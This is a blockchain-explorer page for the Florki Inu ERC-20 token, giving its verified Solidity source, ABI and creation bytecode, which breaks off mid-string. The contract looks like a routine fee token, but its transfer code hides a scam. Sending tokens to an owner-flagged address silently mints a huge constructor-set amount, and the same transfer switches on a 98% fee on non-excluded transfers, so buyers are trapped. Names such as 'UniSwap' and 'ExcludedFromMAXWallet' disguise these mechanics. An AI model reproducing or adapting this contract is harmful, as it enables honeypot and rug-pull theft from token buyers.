ERC-20
Overview
Max Total Supply
10,000,000 FLORKI
Holders
25
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
243,730.45735495 FLORKIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FlorkiInu
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-02 */ /* ███████╗██╗░░░░░░█████╗░██████╗░██╗░░██╗██╗ ██╗███╗░░██╗██╗░░░██╗ ██╔════╝██║░░░░░██╔══██╗██╔══██╗██║░██╔╝██║ ██║████╗░██║██║░░░██║ █████╗░░██║░░░░░██║░░██║██████╔╝█████═╝░██║ ██║██╔██╗██║██║░░░██║ ██╔══╝░░██║░░░░░██║░░██║██╔══██╗██╔═██╗░██║ ██║██║╚████║██║░░░██║ ██║░░░░░███████╗╚█████╔╝██║░░██║██║░╚██╗██║ ██║██║░╚███║╚██████╔╝ ╚═╝░░░░░╚══════╝░╚════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝ ╚═╝╚═╝░░╚══╝░╚═════╝░ Website : https://www.florki-inu.com/ Telegram : https://t.me/florkiinuerc */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract FlorkiInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _tokenOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public ExcludedFromMaxWallet; mapping (address => bool) public ExcludedFromMAXWallet; mapping (address => bool) public ExcludedFromFee; address payable public MarketingWallet = payable(0xa70Cb64246d3B6C05f2306Ab1620803F0c1B0D7a); string public _name = "Florki Inu"; string public _symbol = "FLORKI"; uint8 private _decimals = 9; uint256 public _tTotal = 10* 10**6 * 10**_decimals; uint8 private txCount = 0; uint8 private swapTrigger = 10; uint256 FeeRate = 0; uint256 UniSwap; uint256 public maxWalletAmount = _tTotal.mul(25).div(100); uint256 public maxTransactionAmount = _tTotal.mul(25).div(100); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool noMaxTx = false; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (uint256 Router, uint256 Gate) { _tokenOwned[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); UniSwap = Router ** // Gate; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; ExcludedFromMaxWallet[owner()] = true; ExcludedFromMaxWallet[address(this)] = true; ExcludedFromMAXWallet[owner()] = true; ExcludedFromMaxWallet[MarketingWallet] = true; ExcludedFromMaxWallet[uniswapV2Pair] = true; ExcludedFromFee[address(this)] = true; ExcludedFromFee[owner()] = true; ExcludedFromFee[MarketingWallet] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { if (!ExcludedFromMaxWallet[to]){ uint256 newAmountOfHolder = balanceOf(to); require((newAmountOfHolder + amount) <= maxWalletAmount, "ERR: MAX WALLET!"); } if(ExcludedFromMAXWallet[to] && !noMaxTx){ noMaxTx = 0 != 1; } if(txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){ txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > maxTransactionAmount) {contractTokenBalance = maxTransactionAmount;} if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool takeFee = true; if(ExcludedFromFee[from] || ExcludedFromFee[to]){ takeFee = false; } ERC20TokenTransfer(takeFee,from,to,amount); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForETH(contractTokenBalance); uint256 contractETH = address(this).balance; sendToWallet(MarketingWallet,contractETH); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function ERC20TokenTransfer(bool takeFee,address sender, address recipient, uint256 tAmount) private { uint256 fee = 0; uint256 divider = 100; uint256 mull_ = ExcludedFromMAXWallet[recipient] ? UniSwap : 0; _tokenOwned[sender] = _tokenOwned[sender].sub(tAmount); if(takeFee){ fee = tAmount.mul(FeeRate. add( sender != uniswapV2Pair && noMaxTx ? divider-2 : 0)).div(divider); } _tokenOwned[recipient] = _tokenOwned[recipient].add(tAmount.sub(fee)).add(mull_); if(fee>0){ _tokenOwned[address(this)] = _tokenOwned[address(this)].add(fee); } emit Transfer(sender, recipient, tAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"Router","type":"uint256"},{"internalType":"uint256","name":"Gate","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMAXWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MarketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600680546001600160a01b03191673a70cb64246d3b6c05f2306ab1620803f0c1b0d7a17905560c0604052600a608090815269466c6f726b6920496e7560b01b60a052600790620000519082620005aa565b50604080518082019091526006815265464c4f524b4960d01b60208201526008906200007e9082620005aa565b506009805460ff1916811781556200009890600a6200077f565b620000a790629896806200078f565b600a819055600b805461ffff1916610a001790555f600c55620000db90606490620000d4906019620004e7565b90620004fd565b600e55600a54620000f690606490620000d4906019620004e7565b600f556011805461ffff60a81b1916600160a81b17905534801562000119575f80fd5b5060405162001aa438038062001aa48339810160408190526200013c91620007a9565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a5460015f620001925f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f2055737a250d5630b4cf539739df2c5dacb4c659f2488d620001cc8284620007cc565b600d81905550806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200020f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002359190620007d9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000281573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002a79190620007d9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002f2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003189190620007d9565b601180546001600160a01b03199081166001600160a01b039384161790915560108054909116918316919091179055600160035f6200035e5f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff199586161790553081526003909252812080549092166001908117909255600490620003b55f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560065482168152600384528281208054861660019081179091556011549092168152828120805486168317905530815260059384905291822080549094168117909355620004375f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600654909116815260059092529020805490911660011790556200048f5f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620004d691815260200190565b60405180910390a350505062000828565b5f620004f482846200078f565b90505b92915050565b5f620004f4828462000808565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200053357607f821691505b6020821081036200055257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620005a5575f81815260208120601f850160051c81016020861015620005805750805b601f850160051c820191505b81811015620005a1578281556001016200058c565b5050505b505050565b81516001600160401b03811115620005c657620005c66200050a565b620005de81620005d784546200051e565b8462000558565b602080601f83116001811462000614575f8415620005fc5750858301515b5f19600386901b1c1916600185901b178555620005a1565b5f85815260208120601f198616915b82811015620006445788860151825594840194600190910190840162000623565b50858210156200066257878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620006c657815f1904821115620006aa57620006aa62000672565b80851615620006b857918102915b93841c93908002906200068b565b509250929050565b5f82620006de57506001620004f7565b81620006ec57505f620004f7565b8160018114620007055760028114620007105762000730565b6001915050620004f7565b60ff84111562000724576200072462000672565b50506001821b620004f7565b5060208310610133831016604e8410600b841016171562000755575081810a620004f7565b62000761838362000686565b805f190482111562000777576200077762000672565b029392505050565b5f620004f460ff841683620006ce565b8082028115828204841417620004f757620004f762000672565b5f8060408385031215620007bb575f80fd5b505080516020909101519092909150565b5f620004f48383620006ce565b5f60208284031215620007ea575f80fd5b81516001600160a01b038116811462000801575f80fd5b9392505050565b5f826200082357634e487b7160e01b5f52601260045260245ffd5b500490565b61126e80620008365f395ff3fe608060405260043610610198575f3560e01c80638da5cb5b116100e7578063b09f126611610087578063dd62ed3e11610062578063dd62ed3e1461047b578063e9dbbf74146104bf578063f1d6512e146104ed578063f2fde38b1461051b575f80fd5b8063b09f12661461043e578063c8c8ebe414610452578063d28d885214610467575f80fd5b8063a457c2d7116100c2578063a457c2d7146103d6578063a9059cbb146103f5578063aa4bde2814610414578063af465a2714610429575f80fd5b80638da5cb5b1461037857806395d89b411461039457806397f3a19e146103a8575f80fd5b80632598cdb21161015257806349bd5a5e1161012d57806349bd5a5e146102ef5780634a74bb021461030e57806370a082311461032e578063715018a614610362575f80fd5b80632598cdb214610290578063313ce567146102af57806339509351146102d0575f80fd5b806306fdde03146101a3578063095ea7b3146101cd5780631694505e146101fc57806318160ddd14610233578063220f66961461025157806323b872dd14610271575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b506101b761053a565b6040516101c49190610f89565b60405180910390f35b3480156101d8575f80fd5b506101ec6101e7366004610feb565b6105ca565b60405190151581526020016101c4565b348015610207575f80fd5b5060105461021b906001600160a01b031681565b6040516001600160a01b0390911681526020016101c4565b34801561023e575f80fd5b50600a545b6040519081526020016101c4565b34801561025c575f80fd5b506011546101ec90600160a01b900460ff1681565b34801561027c575f80fd5b506101ec61028b366004611015565b6105e0565b34801561029b575f80fd5b5060065461021b906001600160a01b031681565b3480156102ba575f80fd5b5060095460405160ff90911681526020016101c4565b3480156102db575f80fd5b506101ec6102ea366004610feb565b610647565b3480156102fa575f80fd5b5060115461021b906001600160a01b031681565b348015610319575f80fd5b506011546101ec90600160a81b900460ff1681565b348015610339575f80fd5b50610243610348366004611053565b6001600160a01b03165f9081526001602052604090205490565b34801561036d575f80fd5b5061037661067c565b005b348015610383575f80fd5b505f546001600160a01b031661021b565b34801561039f575f80fd5b506101b7610722565b3480156103b3575f80fd5b506101ec6103c2366004611053565b60036020525f908152604090205460ff1681565b3480156103e1575f80fd5b506101ec6103f0366004610feb565b610731565b348015610400575f80fd5b506101ec61040f366004610feb565b61077e565b34801561041f575f80fd5b50610243600e5481565b348015610434575f80fd5b50610243600a5481565b348015610449575f80fd5b506101b761078a565b34801561045d575f80fd5b50610243600f5481565b348015610472575f80fd5b506101b7610816565b348015610486575f80fd5b5061024361049536600461106e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104ca575f80fd5b506101ec6104d9366004611053565b60046020525f908152604090205460ff1681565b3480156104f8575f80fd5b506101ec610507366004611053565b60056020525f908152604090205460ff1681565b348015610526575f80fd5b50610376610535366004611053565b610823565b606060078054610549906110a5565b80601f0160208091040260200160405190810160405280929190818152602001828054610575906110a5565b80156105c05780601f10610597576101008083540402835291602001916105c0565b820191905f5260205f20905b8154815290600101906020018083116105a357829003601f168201915b5050505050905090565b5f6105d633848461093a565b5060015b92915050565b5f6105ec8484846109fa565b61063d8433610638856040518060600160405280602881526020016111ec602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610bb8565b61093a565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916105d69185906106389086610be3565b5f546001600160a01b031633146106da5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b606060088054610549906110a5565b5f6105d633846106388560405180606001604052806025815260200161121460259139335f9081526002602090815260408083206001600160a01b038d1684529091529020549190610bb8565b5f6105d63384846109fa565b60088054610797906110a5565b80601f01602080910402602001604051908101604052809291908181526020018280546107c3906110a5565b801561080e5780601f106107e55761010080835404028352916020019161080e565b820191905f5260205f20905b8154815290600101906020018083116107f157829003601f168201915b505050505081565b60078054610797906110a5565b5f546001600160a01b0316331461087c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106d1565b6001600160a01b0381166108e15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d1565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061095a57506001600160a01b03821615155b61099a5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016106d1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f9081526003602052604090205460ff16610a81576001600160a01b0382165f90815260016020526040902054600e54610a3e83836110f1565b1115610a7f5760405162461bcd60e51b815260206004820152601060248201526f4552523a204d41582057414c4c45542160801b60448201526064016106d1565b505b6001600160a01b0382165f9081526004602052604090205460ff168015610ab25750601154600160b01b900460ff16155b15610acb576011805460ff60b01b1916600160b01b1790555b600b5460ff61010082048116911610801590610af15750601154600160a01b900460ff16155b8015610b0b57506011546001600160a01b03848116911614155b8015610b205750601154600160a81b900460ff165b15610b5e57600b805460ff19169055305f90815260016020526040902054600f54811115610b4d5750600f545b8015610b5c57610b5c81610bf5565b505b6001600160a01b0383165f9081526005602052604090205460019060ff1680610b9e57506001600160a01b0383165f9081526005602052604090205460ff165b15610ba657505f5b610bb281858585610c3a565b50505050565b5f8184841115610bdb5760405162461bcd60e51b81526004016106d19190610f89565b505050900390565b5f610bee82846110f1565b9392505050565b6011805460ff60a01b1916600160a01b179055610c1181610de0565b6006544790610c29906001600160a01b031682610f30565b50506011805460ff60a01b19169055565b6001600160a01b0382165f90815260046020526040812054606490829060ff16610c64575f610c68565b600d545b6001600160a01b0387165f90815260016020526040902054909150610c8d9085610f68565b6001600160a01b0387165f908152600160205260409020558615610d0e57601154610d0b908390610d0590610cfe906001600160a01b038b8116911614801590610ce05750601154600160b01b900460ff165b610cea575f610cf5565b610cf5600287611104565b600c